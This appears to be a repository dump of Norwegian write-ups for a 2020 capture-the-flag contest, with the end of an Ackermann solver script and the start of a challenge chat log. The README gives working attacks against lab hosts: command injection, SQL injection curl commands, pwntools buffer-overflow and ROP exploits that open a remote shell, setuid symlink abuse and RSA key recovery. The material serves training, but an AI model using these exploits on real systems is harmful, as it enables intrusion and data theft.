d.inc(f,i) 64 | return PrimeFactorization(d) 65 | 66 | def __int__(self): 67 | ret = 1 68 | for (k,v) in self.factors.items(): 69 | for i in range(0,v): 70 | ret *= k 71 | return ret 72 | 73 | def crt(self): 74 | primes = self.factors.keys() 75 | n = int(self) 76 | primes.sort() 77 | ret = [] 78 | factors = [ (p**self.factors[p]) for p in primes ] 79 | 80 | for a in factors: 81 | r = n/a 82 | (rinv,_) = egcd(r, a) 83 | v = (r*rinv)%n 84 | ret.append(v) 85 | return [primes, ret] 86 | 87 | def break_off(self,prime): 88 | d = PrimeFactorDict() 89 | d[prime] = self.exp(prime) 90 | return PrimeFactorization(d) 91 | 92 | def mod_exp (b,x,m): 93 | if m <= 1: return 0 94 | ret = 1 95 | while x > 0: 96 | if (x & 0x1): 97 | ret = (b*ret)%m 98 | b = (b*b)%m 99 | x = x >> 1 100 | return ret 101 | 102 | def egcd (a,b): 103 | lastx = 1 104 | lasty = 0 105 | x = 0 106 | y = 1 107 | while b != 0: 108 | (quotient,rem) = divmod(a,b) 109 | (a,b) = (b, rem) 110 | (x, lastx) = (lastx - quotient * x, x) 111 | (y, lasty) = (lasty - quotient * y, y) 112 | return (lastx, lasty) 113 | 114 | def phi(n): 115 | f = PrimeFactorization.factorize(n) 116 | return f.phi().value() 117 | 118 | def Ackermann(m,n): 119 | if m is 0: return n+1 120 | elif n is 0: return Ackermann(m-1,1) 121 | else: return Ackermann(m-1,Ackermann(m,n-1)) 122 | 123 | d = [0]*7 124 | for i in range(0,4): 125 | d[i] = Ackermann(i,i) 126 | 127 | small_f = [ 0, 2, 4, 16, 65536 ] 128 | log_small_f = [ 0, 1, 2, 4, 16, 65536 ] 129 | 130 | def f(a,m_pf): 131 | m = int(m_pf) 132 | 133 | if m <= 1: return 0 134 | if a == 1: return (2%m) 135 | 136 | if m_pf.n_factors() == 1: 137 | if m_pf.first_factor() == 2: 138 | e = m_pf.exp(2) 139 | 140 | if a >= len(log_small_f) or e <= log_small_f[a]: 141 | ret = 0 142 | else: 143 | ret = small_f[a] 144 | 145 | else: 146 | x = f(a-1,m_pf.phi()) 147 | ret = mod_exp(2,x,m) 148 | 149 | else: 150 | (primes, crf) = m_pf.crt() 151 | ret = 0 152 | for (i,p) in enumerate(primes): 153 | x = f(a,m_pf.break_off(p)) 154 | ret = (ret + x*crf[i]) % m 155 | 156 | return ret 157 | 158 | N = PrimeFactorization.factorize(15**15) 159 | 160 | d[4] = f(7,N)-3 161 | d[5] = f(100,N)-3 162 | d[6] = d[5] 163 | 164 | ret = 0 165 | for i in d: 166 | ret = (ret + i) % int(N) 167 | print ret -------------------------------------------------------------------------------- /etjenesten20/README.md: -------------------------------------------------------------------------------- 1 | # E-tjenestens Cybertalent-program 2020 2 | 3 | # 1. Grunnleggende 4 | 5 | ## 1.1_scoreboard 6 | Denne er rimelig simpel: `cat FLAGG` og du er ferdig. 7 | 8 | ## 1.2_setuid 9 | Her er flagget eid av en annen bruker, men du har en versjon av cat-programmet som har setuid til riktig bruker: `./cat FLAGG` 10 | 11 | ## 1.3_injection 12 | I kildekoden, så ser man at de leser inn argumenter fra kommandolinjen og slenger de rett bak et kall til `/usr/bin/md5sum`, uten noen form for escaping. `./md5sum "FLAGG ; cat FLAGG"` vil dermed ende opp som `/usr/bin/md5sum FLAGG; cat FLAGG`, som først tar md5sum av flagget, og så printer det ut. 13 | 14 | ## 1.4_overflow 15 | Målet er igjen å lese et flagg via et setuid-program. Etter litt enkel reversing, så ser vi at "above" skal være `ABCDEFGH`, og da hopper de til koden pekt på av `shellcode_ptr`. Stacken printes også ut, slik at det er veldig enkelt å se hvilke endringer man gjør. Det følger også med en eksempel-shellcode. 16 | 17 | ```bash 18 | login@corax:~/1_grunnleggende/4_overflow$ export SHC=$(cat sample_shellcode) 19 | login@corax:~/1_grunnleggende/4_overflow$ ./overflow "AA$(echo $SHC)ABCDEFGHAAAAAAAABBBBBBBBCCCCCCCC000000" 20 | ``` 21 | 22 | ## 1.5_reversing 23 | Her har man etter en gang et flagg, eid av en annen bruker, og en setuid-binary. Reversing av denne, viser at de ønsker et passord som argument, og hvis dette er riktig, så kalles `setuid(flagg_eier)` etterfulgt `/bin/bash`, slik at vi kan lese flagget. 24 | 25 | `check_password()`-funksjonen har flere trinn. Først sjekker den at input er 32 bytes lang. Deretter at den starter med `Reverse_engineering`. Etter dette, så sjekkes det at bokstaven på index 0x13 er `_`, samt at hvis man tolker index 0x13 til 0x17 som et tall, så tilsvarer det `0x5F72655F` som er tall-representasjonen av strengen `_re_` (må reversere strengen pga. endianness). Til slutt, så sjekkes det om strengen slutter med `morsomt__` (fra index 0x17 og ut). 26 | 27 | I IDA, så ser programmet ca. slik ut 28 | 29 | ![overflow](1_4.png) 30 | 31 | Løsningen er derfor 32 | ```bash 33 | login@corax:~/1_grunnleggende/5_reversing$ ./check_password Reverse_engineering_er_morsomt__ 34 | ``` 35 | 36 | # 2. Oppdrag 37 | ## 2.1_keystore 38 | I første delen, så er vi på jakt etter et navn. Det hintes det til en keystore-server, med et eksempel på en URL som personen har brukt. Denne serveren er en keystore, som gir deg en public key om du gir inn et nøkkelnavn. Denne har en triviell SQL injection, noe som kan oppdages ved å legge til f.eks. `' OR '1'='1` bak `oper@cloud-mgr-15`, og så ser du at alle nøklene plutselig kommer ut. 39 | 40 | Jeg løste dette via UNION injection. Da må man første finne ut hvor mange kolonner det er i queryen, ved å prøve `UNION SELECT 1` og så `1,2` etc. til man ikke får feilmelding. 41 | ```bash 42 | login@corax:~$ curl -g "http://keystore/query.php?keyname=oper@cloud-mgr-15'+UNION+SELECT+1,2,3;--+-" 43 | ``` 44 | 45 | gir ikke feilmelding, og printer ut "1 2 3" i tillegg til nøkkelen, så vi kan hente ut 3 andre felt i hver spørring. Uten å gå altfor i detalj, så er teknikken herfra å sjekke i `information_schema`-databasen etter navnet på databasene vi har, så navnet på alle tabeller som finnes i databasen(e), og så finne kolonnene i hver tabell. 46 | 47 | ```bash 48 | login@corax:~/scratch$ curl -g "http://keystore/query.php?keyname=oper@cloud-mgr-15'+UNION+ALL+(SELECT+1,2,schema_name FROM information_schema.schemata);--+-" 49 | 1 2 information_schema 50 | 1 2 keystore 51 | ``` 52 | 53 | Så vi har én database kalt `keystore`. 54 | 55 | ```bash 56 | login@corax:~/scratch$ curl -g "http://keystore/query.php?keyname=oper@cloud-mgr-15'+UNION+ALL+(SELECT+table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'information_schema');--+-" 57 | keystore keystore key_id 58 | keystore keystore key_type 59 | keystore keystore key_data 60 | keystore keystore owner 61 | keystore user_key_upload user_id 62 | keystore user_key_upload key_id 63 | keystore user_key_upload upload_date 64 | keystore userstore user_id 65 | keystore userstore user_name 66 | keystore userstore user_password 67 | ``` 68 | 69 | Inni den er det 3 tabeller: `keystore`, `user_key_upload` og `userstore`. Kolonnene til hver av de er også i outputen. Det som virker interessant er `userstore.user_name`. Man kan sikkert skrive en pen query som henter ut nøyaktig bruker, men jeg endte opp med å bare dumpe alle databasene. Da ser man at `oper@cloud-mgr-15`-nøkkelen har id 17693, og i `user_key_upload` får man da ut at brukeren med id 20524 har lastet opp denne. Sjekker man til sist i `userstore`, så finner man et hacker-navn. 70 | 71 | ``` 72 | 20524 Elliot Alderson 014aedf1bc63277183ae5034c023c8ba 73 | ``` 74 | 75 | Etter å ha sendt inn dette flagget, får man et hint om at det er en bakdør i nøkkelgeneratoren deres. Vi tar derfor med oss alle nøklene vi dumpet videre. 76 | 77 | ## 2.2_lootd 78 | Denne oppgaven var muligens den vanskeligste i CTFen, og en flaskehals for å løse resten av oppdraget. Det andre hintet i mission-briefen, er at det er noe kommunikasjon med `cloud-c2-70` på port 1337/TCP. Logger vi på denne med netcat, så kommer vi til en slags meny. 79 | 80 | ```bash 81 | login@corax:~/2_oppdrag$ nc cloud-c2-70 1337 82 | > help 83 | ./lootd: available commands: help, upload, download, uname, uptime 84 | > uptime 85 | 09:06:12 up 1 day, 18:18, load average: 2.58, 2.09, 2.17 86 | > uname 87 | Linux bovinae 4.8.0+ #1 SMP Thu Oct 13 20:07:36 UTC 2016 x86_64 Linux 88 | > download 89 | filename > /etc/passwd 90 | access token > ??? 91 | done. 0 bytes 92 | > 93 | ``` 94 | 95 | Så det er et program som lar oss laste opp og ned ting, men vi blir spurt om en access token ved nedlasting. Litt prøving og feiling senere, så finner vi ut to viktige komponenter: Programmet heter `lootd`, gitt av feilmelding man får ved ugyldig kommando, og at download-funksjonen ikke spør om access token med mindre man forsøker å laste ned filbaner uten "/" eller "." i seg. Skriver vi `lootd`, så får vi en lang hex dump av lootd-programmet til lokal analyse. 96 | 97 | Neste steg er å reverse `lootd`. For å kjøre det lokalt, må man installere `musl`, ettersom programmet ikke er linket mot standard libc. Etter en del reversing, så ser man litt mer av funksjonaliteten i programmet. `uname` bare printer ut en statisk streng, `uptime` kaller faktisk uptime-prosessen via popen, `download` laster ned filer, men trenger key hvis dot eller slash er i filnavnet - og saniterer en del tegn fra både filnavn og token. Til sist, så er det `upload`-funksjonen. Den spør om hvor mange bytes du vil sende, og så leser den inn like mange bytes og sender de til et program kalt `/usr/sbin/moveloot`. Dette kommer vi tilbake til. 98 | 99 | Main-funksjonen setter opp noen signal handlers, og looper evig. 100 | ![main](2_2main.png) 101 | 102 | `get_command_input()` kjører en string compare (stopper ved første nullbyte), mens `gets()` stopper ikke der... 103 | ![get_command_input](2_2gci.png) 104 | 105 | Et utsnitt bare, men `download_file()` henter inn et filnavn å lese, og så sjekker den om "." eller "/" er i filbanen gjennom `check_if_need_token()`, og spør om token hvis dette er tilfelle. `sanitize()` filtrerer ut en del spesialtegn man kan bruke til shell expansions/escapes. Så kalles `moveloot` med noen gitte argumenter. 106 | ![get_command_input](2_2download.png) 107 | 108 | Målet vårt her, er å misbruke en feil i dette programmet til å få tilgang til `cloud-c2-70`. Her er det faktisk flere løsningsmetoder, og jeg løste dette på to ulike måter. La oss begynne med å sjekke sikkerheten til ELF-programmet. 109 | 110 | ```bash 111 | root@2731165f2892:/ctf/work# checksec lootd.bin 112 | [*] '/ctf/work/lootd.bin' 113 | Arch: amd64-64-little 114 | RELRO: Partial RELRO 115 | Stack: No canary found 116 | NX: NX disabled 117 | PIE: PIE enabled 118 | RWX: Has RWX segments 119 | ``` 120 | 121 | For de som har gjort `pwn`-challenges før, så burde det umiddelbart ringe en bjelle. NX (non-executable stack) er skrudd av. Dette er skrudd på som standard omtrent overalt, og det betyr at beskyttelsen med vilje har blitt skrudd av. !NX lar oss kjøre kode på stacken, hvis vi klarer å hoppe dit. Akkurat som i gamle dager. Deretter er det greit å merke seg at PIE er skrudd på, slik at om vi ønsker å løse oppgaven med ROP, så må vi ha en PIE leak for å finne ut hvilken adresse programmet er lastet inn på. 122 | 123 | For en buffer overflow-løsning, så trengs det tre ting: En måte å lekke en peker til en stack-adresse du vet hvor er, en måte å legge inn shellcode på stacken (f.eks. via en input-mekanisme), og muligheten til å styre programflyten, slik at du ender opp med å kjøre shellcode. 124 | 125 | For ROP, så trenger man en PIE leak, og offsets til ROP gadgets i f.eks. musl sin libc. For å finne offsets, må man fort gjette på OSet som kjøres i bakkant, for å finne den eksakt samme versjonen selv. Alternativt kan man forsøke å lekke adressene til enkeltfunksjoner, og bruke distansen mellom disse til å søke i en libc-database etter versjonen som er brukt. 126 | 127 | Heldigvis har `lootd` enormt mange sikkerhetshull, så alt som er nevnt er mulig, og mere til. Først og fremst, så vil programmet skrive ut en feilmelding hvis man skriver en ugyldig kommando, og denne meldingen inneholder det du skrev inn. Feilen er at denne skrives ut med `printf`, og vi kan derfor bruke format strings. Hvis input er f.eks. `"%p %p %p"`, så vil `printf` begynne å skrive ut verdier oppover stacken. Man kan også bruke `%n` til å lage en write-primitive med denne feilen alene. 128 | 129 | En annen, gigantisk, tabbe er at det meste av input lese inn med `gets()`, som bare leser og leser, lenge etter at bufferet den skriver til er fylt opp. Dette lar oss trivielt overskrive retur-adressen på stacken, mens vi er inne i f.eks. download-funksjonen. `gets()` leser til newline eller EOF, og lar oss også legge inn null-bytes, som terminerer strenger. 130 | 131 | Disse feilene kombinert, oppfyller kravene vi hadde til buffer overflow, så strategien er dermed: 132 | 133 | 1. Lekk en stack-adresse via format string. Bruk denne til å regne ut hvor input-feltet til kommandoen blir lagt inn. 134 | 2. Hopp inn i download-funksjonen, ved å skrive inn `download\x00` etterfulgt av NOP sled og shellcode. Funksjonen som sjekker kommando, stopper med en gang den kommer til null-byten, og tror derfor at du har skrevet inn `download`. Nå er du inne i download-funksjonen, og har shellcode på stacken. 135 | 3. Overskriv retur-adressen til download-funksjonen, ved å overflowe filnavn-bufferet. Få denne til å peke på NOP-sleden. Hvis filnavnet inneholder et av de "forbudte" tegnene, så vil funksjonen avslutte tidlig uten å kalle moveloot. 136 | 137 | Etter å ha hentet ut adressen til input-arrayet i en debugger, så virker exploiten helt fint på min lokale maskin, men ikke på remote. Dette er fordi stacken inkluderer ting som ENV fra shell, og layouten blir derfor annerledes fra maskin til maskin. Dette krever litt eksperimentering for å få til helt riktig, men med en lang nok NOP sled trenger man ikke være altfor treffsikker. I dette scriptet har jeg justert adressene opp med 32 bytes, etter litt eksperimentering. 138 | 139 | ```python 140 | from pwn import * 141 | import sys 142 | 143 | INPUT_ADDR = 0x7fffffffe590 144 | STACK_BASE_LEAK = 0x7fffffffe320 145 | DIFF_TO_INPUT = INPUT_ADDR - STACK_BASE_LEAK + 32 146 | SHELLCODE = bytes.fromhex("31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05") 147 | 148 | r = remote("cloud-c2-70", 1337) 149 | r.sendlineafter("> ", "%p.%p.%p.%p.%p.%p.%p") 150 | 151 | leaks = r.readline().split(b".") 152 | STACK_LEAK = eval(leaks[-4].decode()) 153 | print("Stack leak", hex(STACK_LEAK)) 154 | 155 | payload = b"download\x00" 156 | payload += SHELLCODE.rjust(0x400-len(payload), b"\x90") 157 | r.sendlineafter("> ", payload) 158 | 159 | payload = b"'"*0x118 160 | payload += p64(STACK_LEAK+DIFF_TO_INPUT) 161 | r.sendlineafter("filename >", payload) 162 | 163 | r.interactive() 164 | ``` 165 | 166 | Dette gir et shell på serveren, og `cat FLAG` printer dette ut. 167 | 168 | Alternativ løsningemetode, via ROP: 169 | 170 | ```python 171 | from pwn import * 172 | context.arch = 'amd64' 173 | 174 | s = remote('cloud-c2-70', 1337) 175 | 176 | s.sendlineafter('> ', '%p.%3$p') 177 | leaks = s.recvline().split(b"'")[1].split(b'.') 178 | libc_address = int(leaks[1], 16) - 0x93b40 179 | 180 | POP_RDI = libc_address + 0x152bc 181 | BIN_SH = libc_address + 0x8e3c9 182 | SYSTEM = libc_address + 0x3dc5f 183 | 184 | p = b'A' * 136 185 | p += p64(POP_RDI) 186 | p += p64(BIN_SH) 187 | p += p64(SYSTEM) 188 | 189 | s.sendlineafter('> ', p) 190 | s.interactive() 191 | ``` 192 | 193 | Resultatet er det samme, men uten å vite versjonene av alt, så kan denne metodikken være litt vanskeligere. Det er også mulig å løse denne oppgaven via format-string, muligens ved å overskrive strengen `uptime` med `ash` eller lignende, men jeg undersøkte ikke dette noe nærmere. 194 | 195 | ## 2.3_loot_home 196 | 197 | Fra forrige oppgave, så lander vi i `/home/lootd`, hvor det ligger et flagg. Det ligger også et flagg i `/home/`, så `cat ../FLAG` printer ut dette. 198 | 199 | ## 2.4_loot_vault 200 | 201 | Målet med denne oppgaven, er å få tilgang til `/vault/loot`, som er eid av brukeren `vault`. Etter exploiten fra 2.2 er vi "innlogget" som brukeren `lootd`, så vi har ikke tilgang til å en gang liste filer i loot-mappen. `/usr/sbin/moveloot`, som blir kalt fra `lootd`, er derimot en setuid-binary eid av `vault`, så den har tilgang. 202 | 203 | `moveloot` tar 3 parametere: filnavn, access token, og et valgfritt sekvensnummer. Hvis filnavn ikke er spesifisert, så leser moveloot inn data og skriver dette til en fil inne i `/vault/loot`, hvor navnet er tilfeldig generert. Hvis filnavn er spesifisert, så forsøker den å lese ut filen. Om filnavn inneholder slash eller dot, så må access token være spesifisert, og denne må matche innholdet i filen `/vault/loot/key`. 204 | 205 | For dette flagget, så opprettet jeg et symbolsk lenke i `/home/lootd` som pekte på `/vault/loot/key`, og så gjettet jeg på at det fantes en fil kalt `FLAG` inni der. 206 | 207 | ```bash 208 | $ pwd 209 | /home/lootd 210 | $ ln -s /vault/loot/key key 211 | $ /usr/sbin/moveloot -f key 212 | 81f75f6eda0a961eba3b4e6ce7400510 213 | $ /usr/sbin/moveloot -f /vault/loot/FLAG -k 81f75f6eda0a961eba3b4e6ce7400510 214 | ``` 215 | 216 | Nøkkelen er md5("sandworm"), og vi kan nå lese alle filer eid av `vault` - hvis vi vet navnet på de. 217 | 218 | En alternativ løsning på denne oppgaven, er å utnytte at kernelen er dødsgammel: `Linux e1e9616e7e75 4.8.0+ #15 SMP Thu Oct 13 20:07:36 UTC 2016 x86_64 Linux`. 219 | Denne versjonen er sårbar mot f.eks. Dirty cow, som enkelt lar deg overskrive en suid-binary (mount eller umount) med shellcode. Bare pass på at den peker på `/bin/ash`, da `bash` ikke finnes på serveren. 220 | 221 | ## 2.5_headquarters 222 | 223 | Denne oppgaven kan løses rett etter man har løst 2.2, og avhenger kun av 2.1 og muligheten til å lese filer som `vault`. 224 | 225 | Inne i `/home/vault/.ash_history`, ligger det noen kommandoer som denne brukeren har kjørt: 226 | 227 | ```bash 228 | curl -o /tmp/xxx http://keystore/query.php?keyname=oper@cloud-mgr-72 229 | cat /tmp/xxx 230 | rm -rf /tmp/xx 231 | exit 232 | find /vault/loot -type f 233 | find /vault/loot -type f | wc -l 234 | du -ms /vault/loot 235 | curl http://keystore/query.php?keyname=oper@cloud-hq-42 236 | vi id 237 | tar cz /vault/loot | ssh -i id oper@cloud-hq-42 lootimport 238 | rm id 239 | exit 240 | ``` 241 | 242 | De har altså logget seg på en annen server, `oper@cloud-hq-42` vha. en private key. De har også lastet ned nøkkelen til `/tmp/xxx`, men tukla til slettingen av den, så den ligger der enda. `xxx` er derimot eid av `vault`, så vi kan ikke lese den ut direkte. Forsøker vi å spørre keystore-serveren om den samme nøkkelen, så ser vi også at den ikke eksisterer lengre. Men vha. de samme teknikkene som i 2.4, så kan man lese ut innholdet av denne med moveloot, uten å trenge noen key. 243 | 244 | ``` 245 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF5303+AgwCFCG+e2TyB3CcNm+qPwrdkHzwrnqLrWC3+2TbiXBhWH/mGCVwJ9HmFcYXoYNvNP9c3s6XyZI4otiwn7XGyUW1adR2h89+ExNpYMJX4EQaKPgHSe9vku2IkzxvTUut2mxCZVzM6r7U9IrHmQt+degexjd0DGvF+AFjOqfEJP8hWDdZzZee3QJPWCwJi65I1148Sz/y10ORdWwVGhYl9Wsg20iXM+m/4xBfIhkCEiI3UCwYQFvLoXg+k9L4ogrHaAoX9/FrNi1HwthOGSr/h89TyP3KzAN3/jUSzLkl3AtENzDe2xtXyMMd3qXHoxat2k1FepPj8S74oIp oper@cloud-mgr-72 246 | ``` 247 | 248 | bare for å oppdage at dette er en public key, ikke en private key. Så den er ikke så nyttig til å logge inn over SSH med. Men her kommer teksten fra 2.1 til unnsetning - den om at nøkkel-generatoren hadde en bakdør. 249 | 250 | Nøkkelen her er en RSA-nøkkel, så for å gjøre om denne public keyen til en private key, så trenger vi å faktorisere produktet av to gigantiske primtall. Heldigvis, så har de lagt inn en bakdør, slik at flere av produktene har samme primtall. Dette er svært kjapt å sjekke med f.eks. [Euclids's Algoritme](https://en.wikipedia.org/wiki/Euclidean_algorithm). Se på [2_5_privkey.py](2_5_privkey.py) for et eksempel på hvordan man kan generere en private key ut i fra det vi vet. 251 | 252 | Etter at vi har private key, så er det bare å kjøre `ssh -i privkey.pem oper@cloud-hq-42` og så ligger flagget der. I tillegg finner vi `/bin/crypt0r`-filen, som er brukt til å kryptere data, samt lootimport-scriptet som ble referert til i historikken: 253 | 254 | ```bash 255 | oper@hq ~ > which lootimport 256 | /bin/lootimport 257 | oper@hq ~ > cat /bin/lootimport 258 | #!/bin/sh 259 | set -ex 260 | d=$(mktemp -d) 261 | tar xz -C $d 262 | #find $d -type f | xargs -n1 cat | crypt0r "precise stallion cell nail" | less 263 | ``` 264 | 265 | ## 2.6_decryption 266 | 267 | Hvis man løste 2.4 ved å roote serveren, så er denne mer eller mindre triviell. Hent ut filene fra `/vault/loot`, og dekrypter de med `crypt0r`-programmet. `crypt0r` er et enkelt program, som kjører en key schedule på argumentet som gis inn, og så krypterer den data via en stream cipher. Metodikken her tilsvarer RC4-kryptering, og en tilsvarende versjon i Python ser sånn her ut: 268 | 269 | ```python 270 | from Crypto.Cipher import ARC4 271 | 272 | def decrypt(ciph, key): 273 | return ARC4.new(key).decrypt(ciph) 274 | 275 | plaintext = open("encrypted_flag", "rb").read() 276 | password = "precise stallion cell nail" 277 | print(decrypt(plaintext, password)) 278 | ``` 279 | 280 | merk at siden dette er en enkel stream cipher med XOR, så er decrypt og encrypt den samme funksjonen, og de er inverser av hverandre. 281 | 282 | Jeg løste derimot denne uten root på serveren, ved å utnytte den dårlige entropien i navngivningen av filer. Når en fil blir lest inn via `moveloot`, så flytter den nemlig innholdet over i en fil med et "tilfeldig" navn. Først så bygger den strengen `/vault/loot/seq.%04zx.` hvor sekvensnummeret puttes inn i format-stringen. Hvis denne ikke er spesifisert som et argument til `moveloot`, så er den "0000". Deretter kalles `'a' + random() % 26` for å generere en tilfeldig bokstav mellom 'a' og 'z', og dette gjøres 64 ganger. 283 | 284 | Resultatet blir da en fil med et navn som `seq.0000.zeicfgrnvksuptofqkcopbgbbppogemfiujncbdynvsdqgigqnwhqcktubicfuhn`. Problemet her, er at `random()`-funksjonen er en PRNG, og attpåtil seedet med klokkeslettet når programmet ble startet, rundet av til nærmeste sekund. Siden vi har lest ut `/vault/loot/key`, så kan vi be `moveloot` om å lese ut filer, mot at vi vet navnet på de. Strategien er derfor å generere mulige filnavn bakover i tid, og så be moveloot om å lese disse ut. Kommer det blank output, så fantes ikke filen. Kommer det noe random gibberish, så vet vi at vi har funnet noe kryptert. 285 | 286 | Jeg kompilerte dette programmet med musl, og lastet det opp til `cloud-c2-70`. Så pipet jeg outputen via base64, slik at eventuelle binærdata som kom ut kunne klippes og limes fra terminalen. 287 | 288 | ```c 289 | #include 290 | #include 291 | #include 292 | #include 293 | 294 | char buf[0x200] = {0}; 295 | 296 | int main(int argc, char *argv[]) 297 | { 298 | if (argc != 3) 299 | { 300 | printf("Usage: ./gen epoch hours"); 301 | exit(1); 302 | } 303 | 304 | uint32_t epoch = atoi(argv[1]); 305 | uint32_t hours = atoi(argv[2]); 306 | 307 | for(uint32_t i=0; i<3600*hours; i++) 308 | { 309 | srandom(epoch--); 310 | memset(buf, 0, sizeof(buf)); 311 | int v2 = snprintf(buf, 0x100uLL, "/usr/sbin/moveloot -k 81f75f6eda0a961eba3b4e6ce7400510 -f /vault/loot/seq.%04zx.", (size_t)0); 312 | for(int i=0; i<64; i++) 313 | { 314 | buf[v2+i] = (random() % 26) + 'a'; 315 | } 316 | system(buf); 317 | } 318 | printf("Finished.\n"); 319 | return 0; 320 | } 321 | ``` 322 | 323 | Her spesifiserer du bare start-epoch, og antall timer å spole bakover, og så kommer det krypterte flagget til slutt. Deretter gjenstår det bare å kjøre outputen gjennom en base64-decode, og bruke crypt0r eller Python-ekvivalenten til å dekryptere flagget. 324 | 325 | Det var også en fil til inne i vault, og etter å ha brukt en del tid på å hente ut denne, så fant jeg ut at det bare var en offentlig tilgjengelig PDF fra Etteretningstjensten ("Fokus 2020"). 326 | 327 | # 3.1. Hjernetrim lett 328 | ## 3.1.1_clmystery 329 | 330 | Denne oppgaven finnes [på nett](https://github.com/veltman/clmystery). Jeg leste på nett hva svaret var, lastet ned begge mappestrukturene, og kjørte rekursiv diff på de. 331 | 332 | ``` 333 | 336c336 334 | < Jeremy Bowers 335 | --- 336 | > Victor Sidney 337 | ``` 338 | 339 | Løsningen var da "Victor Sidney" 340 | 341 | ## 3.1.2_knock-knock 342 | 343 | Denne oppgaven var... virkelig spesiell. Den inneholder en Ken-dukke, iført fengelsdrakt, som er knyttet opp mot en servo. Han slår rytmisk på et metallgjerde, og dette skal vi altså få et flagg ut av. Etter litt analyse, så virker det ikke som om dette er morse, ettersom antall dunk før et lengre mellomrom er altfor mange, og varierer for lite. Det høres ut som om det kommer et visst antall dunk, etterfulgt av en kort pause, så flere dunk etterfulgt av en lang pause. Antall dunk varierer fra 1 til 5. Setter vi dette opp som en sekvens av par, får vi 344 | 345 | `34 42 14 15 44 14 45 31 15 44 15 42 15 44 44 15 42 15 42 44 11 35 14 11 33 13 15` 346 | 347 | og først etter litt Googlig av koder brukt i fengsel, fant jeg fram til [Tap code](https://en.wikipedia.org/wiki/Tap_code). Via tabellen på Wikipedia, leser vi ut `ordetduleteretterertapdance`, så flagget er `tapdance`. 348 | 349 | ## 3.1.3_runer 350 | 351 | Et bilde med runer, med et litt spesielt rune-alfabet. Leser vi direkte av runene, så blir det bare tull, men ser man i kommentarene til bildet så står det `Columns`. Etter litt kolonne-transposisjon, får vi ut `FUTHARKRUNERERINTERESSANT`. 352 | 353 | ## 3.1.4_sharing_secrets 354 | Alle disse oppgavene krever at du løser andre oppgaver, og får N shares. Deretter er det bare å plugge de inn i f.eks. Sage 355 | 356 | ```python 357 | sage: p = 162259276829213363391578010288127 358 | sage: F = FiniteField(p) 359 | sage: P = F['x'] 360 | sage: shares = [(F(x), F(y)) for x,y in [(1,84657984464390529825364497916194), ( 361 | ....: 2,73673086149599787963942979835811), (5,38135776304496424228868822226466)] 362 | ....: ] 363 | sage: P.lagrange_polynomial(shares) 364 | 107957633311081314081817873244735*x^2 + 151920032239605406067858893049793*x + 149298872572130536458843752197920 365 | ``` 366 | og så får man at `149298872572130536458843752197920` er en av løsningene. Det er mange måter å løse denne typen oppgave på, inkludert online-verktøy. 367 | 368 | ## 3.1.5_webcruiter 369 | 370 | Hemmelig flagg, gjemt i stillingsbeskrivelsen 371 | 372 | # 3.2. Hjernetrim middels 373 | ## 3.2.1_artwork_del_1 374 | 375 | Del 1 krever bare at du skjønner at bildet er et [Piet](https://www.dangermouse.net/esoteric/piet.html)-program. Dette hintes til via quoten på bildet, samt at filnavnet er md5("esoteric"), og Piet er et esoterisk programmeringsspråk. Løsningen er å kalkulere `HAVAL('mondrian')` = `153ceff44d69be87e33b1439c14899e8` 376 | 377 | ## 3.2.1_artwork_del_2 378 | 379 | Del 2 kan løses på mange måter, men den enkleste er kanskje å bare utnytte `npiet` sin tracing-funksjon. Siden bokstavene i passordet sjekkes hver for seg, og programmet hopper rett til feil-tilstanden ved første uriktige bokstav, så kan vi brute-force passordet ved å se på lengden av tracen. 380 | 381 | ```python 382 | 383 | from string import printable 384 | from subprocess import Popen, PIPE 385 | 386 | pw = "" 387 | running = True 388 | 389 | while running: 390 | best_score = 0 391 | best_char = None 392 | for c in printable[:-6]: 393 | p = Popen(["npiet.exe", "dbc6486d9c1788ccce2f4ece3e498fb3.png", "-t"], stdin=PIPE, stdout=PIPE) 394 | out = p.communicate(pw+c+"\n") 395 | score = out[0].count("\n") 396 | if score > best_score: 397 | best_score = score 398 | best_char = c 399 | 400 | pw += best_char 401 | print(pw) 402 | 403 | # Tr0ub4d0r&3 404 | ``` 405 | 406 | Output av det passordet blir `correct horse battery staple`, som også er flagget. 407 | 408 | ## 3.2.2_explosion 409 | 410 | Denne oppgaven forsøker å regne ut summen av [Ackermann(n,n)](https://en.wikipedia.org/wiki/Ackermann_function) for n fra 0 til og med argumentet til programmet. Resultatet printes modulo `15^15`. Ackermann(4,4) forsøker å regne ut 2^2^2^65536, som er et altfor stort tall til å regne ut. Enda høyere tall er utenkelig store. 411 | 412 | Siden resultatet er modulo et tall, så går det derimot an å gjøre en optimalisering. [Denne](https://sasdf.cf/ctf/writeup/2019/plaid/rev/bigmaffs/) writeupen av en annen oppgave, forklarer matematikken bak løsningen ganske greit. Det viktige, er at for en høy `n`, så er det kun moduloen som har noe å si for hva resultatet blir. [Project Euler 282](https://projecteuler.net/problem=282) er også svært lik denne oppgaven, bare med en annen modulo. 413 | 414 | Løsningen er å gjøre modular exponentiation for hver primtallsfaktor av moduloen, og så kombinere svarene via chinese remainder theorem. Vi trenger da bare å regne ut Ackermann(4,4) og Ackermann(100,100), ettersom N=5,6,7...Inf er akkurat det samme tallet. 415 | 416 | [Denne løsningen](3_2_ackermann.py) på Euler 282 har blitt endret til å fungere for denne oppgaven. 417 | -------------------------------------------------------------------------------- /etjenestenjul20/alpha.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul20/alpha.png -------------------------------------------------------------------------------- /etjenestenjul20/chat.txt: -------------------------------------------------------------------------------- 1 | ############################################ 2 | # Welcome to the #LT3000 chat. # 3 | # # 4 | # * Use at own risk. # 5 | # * All comms are encrypted. # 6 | # * Please do not use real names. # 7 | # * Have fun! # 8 | # # 9 | ############################################ 10 | 11 | 12 | 5 users currently online. 13 | 14 | FLAG: 04907eee5386072670b5107b744b2f8481294377 15 | 16 | --- Day changed 02 DES 2020 --- 17 | 18 | [09:04] B4tCracK: Hi every1, i read that SecureChat was bought by some megacorp, don't think it's safe anymore. let's talk here instead 19 | [09:40] RADAR: willco 20 | [09:46] eireen89: You made this thing all by yourself? 21 | [10:24] B4tCracK: just some stuff i had lying around from another project no big deal 22 | [10:24] B4tCracK: it encrypts stuff six times, might be a bit slow 23 | [11:23] RADAR: Wow, proper nation-state crypto stuff or what? 24 | [11:57] eireen89: Hey, RADAR, remember: We're a proper 